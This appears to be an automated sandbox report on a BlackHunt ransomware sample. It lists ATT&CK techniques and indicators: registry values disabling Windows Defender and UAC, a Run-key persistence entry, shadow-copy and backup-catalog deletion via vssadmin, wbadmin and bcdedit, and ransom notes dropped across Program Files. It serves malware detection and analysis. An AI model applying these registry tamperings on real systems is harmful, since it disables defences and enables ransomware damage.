81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8

Data Destruction

T1485

pid	Process
1064	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2724	bcdedit.exe
536	bcdedit.exe

Renames multiple (2889) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1952	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\Z:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\U:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\Q:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\K:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\X:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\T:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\I:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\H:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\W:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\P:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\G:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\M:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\R:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\S:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\V:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\N:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\O:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\A:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\L:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\J:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\B:	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_ButtonGraphic.png	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-visual.xml	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\UCT	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor_1.0.300.v20131211-1531.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-editor-mimelookup.xml	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-sa.xml	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.STC	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_zh_CN.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application-views.xml	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Ushuaia	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Tunis	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Puerto_Rico	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.hta	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.hta	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\LICENSE	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme_0.9.300.v20140424-2042.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Monterrey	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_ja_4.4.0.v20140623020002.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Monticello	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\epl-v10.html	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-lookup.xml	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Iqaluit	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Macquarie	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_ReadMe.hta	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-fallback.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui_2.3.0.v20140404-1657.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.hta	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.events_3.0.0.draft20060413_v201105210656.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_Private.key	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Majuro	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox_1.0.500.v20131211-1531.jar	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs.xml	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.hta	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
936	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
792	vssadmin.exe
572	vssadmin.exe
2544	vssadmin.exe
2604	vssadmin.exe
2652	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeRestorePrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeBackupPrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeTakeOwnershipPrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeAuditPrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeSecurityPrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeIncBasePriorityPrivilege	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Token: SeBackupPrivilege	1580	vssvc.exe
Token: SeRestorePrivilege	1580	vssvc.exe
Token: SeAuditPrivilege	1580	vssvc.exe
Token: SeBackupPrivilege	1260	wbengine.exe
Token: SeRestorePrivilege	1260	wbengine.exe
Token: SeSecurityPrivilege	1260	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2824	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	30
PID 2680 wrote to memory of 2824	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	30
PID 2680 wrote to memory of 2824	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	30
PID 2680 wrote to memory of 2824	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	30
PID 2680 wrote to memory of 2580	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	32
PID 2680 wrote to memory of 2580	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	32
PID 2680 wrote to memory of 2580	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	32
PID 2680 wrote to memory of 2580	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	32
PID 2824 wrote to memory of 2172	2824	cmd.exe	33
PID 2824 wrote to memory of 2172	2824	cmd.exe	33
PID 2824 wrote to memory of 2172	2824	cmd.exe	33
PID 2680 wrote to memory of 2712	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	35
PID 2680 wrote to memory of 2712	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	35
PID 2680 wrote to memory of 2712	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	35
PID 2680 wrote to memory of 2712	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	35
PID 2680 wrote to memory of 1940	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	37
PID 2680 wrote to memory of 1940	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	37
PID 2680 wrote to memory of 1940	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	37
PID 2680 wrote to memory of 1940	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	37
PID 2680 wrote to memory of 2556	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	39
PID 2680 wrote to memory of 2556	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	39
PID 2680 wrote to memory of 2556	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	39
PID 2680 wrote to memory of 2556	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	39
PID 2712 wrote to memory of 2708	2712	cmd.exe	41
PID 2712 wrote to memory of 2708	2712	cmd.exe	41
PID 2712 wrote to memory of 2708	2712	cmd.exe	41
PID 2580 wrote to memory of 3004	2580	cmd.exe	42
PID 2580 wrote to memory of 3004	2580	cmd.exe	42
PID 2580 wrote to memory of 3004	2580	cmd.exe	42
PID 1940 wrote to memory of 3008	1940	cmd.exe	140
PID 1940 wrote to memory of 3008	1940	cmd.exe	140
PID 1940 wrote to memory of 3008	1940	cmd.exe	140
PID 2556 wrote to memory of 2736	2556	cmd.exe	44
PID 2556 wrote to memory of 2736	2556	cmd.exe	44
PID 2556 wrote to memory of 2736	2556	cmd.exe	44
PID 2680 wrote to memory of 2296	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	45
PID 2680 wrote to memory of 2296	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	45
PID 2680 wrote to memory of 2296	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	45
PID 2680 wrote to memory of 2296	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	45
PID 2680 wrote to memory of 592	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	47
PID 2680 wrote to memory of 592	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	47
PID 2680 wrote to memory of 592	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	47
PID 2680 wrote to memory of 592	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	47
PID 2680 wrote to memory of 728	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	49
PID 2680 wrote to memory of 728	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	49
PID 2680 wrote to memory of 728	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	49
PID 2680 wrote to memory of 728	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	49
PID 2680 wrote to memory of 2040	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	51
PID 2680 wrote to memory of 2040	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	51
PID 2680 wrote to memory of 2040	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	51
PID 2680 wrote to memory of 2040	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	51
PID 2680 wrote to memory of 688	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	53
PID 2680 wrote to memory of 688	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	53
PID 2680 wrote to memory of 688	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	53
PID 2680 wrote to memory of 688	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	53
PID 2296 wrote to memory of 1008	2296	cmd.exe	55
PID 2296 wrote to memory of 1008	2296	cmd.exe	55
PID 2296 wrote to memory of 1008	2296	cmd.exe	55
PID 2680 wrote to memory of 1640	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	56
PID 2680 wrote to memory of 1640	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	56
PID 2680 wrote to memory of 1640	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	56
PID 2680 wrote to memory of 1640	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	56
PID 2680 wrote to memory of 1408	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	57
PID 2680 wrote to memory of 1408	2680	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
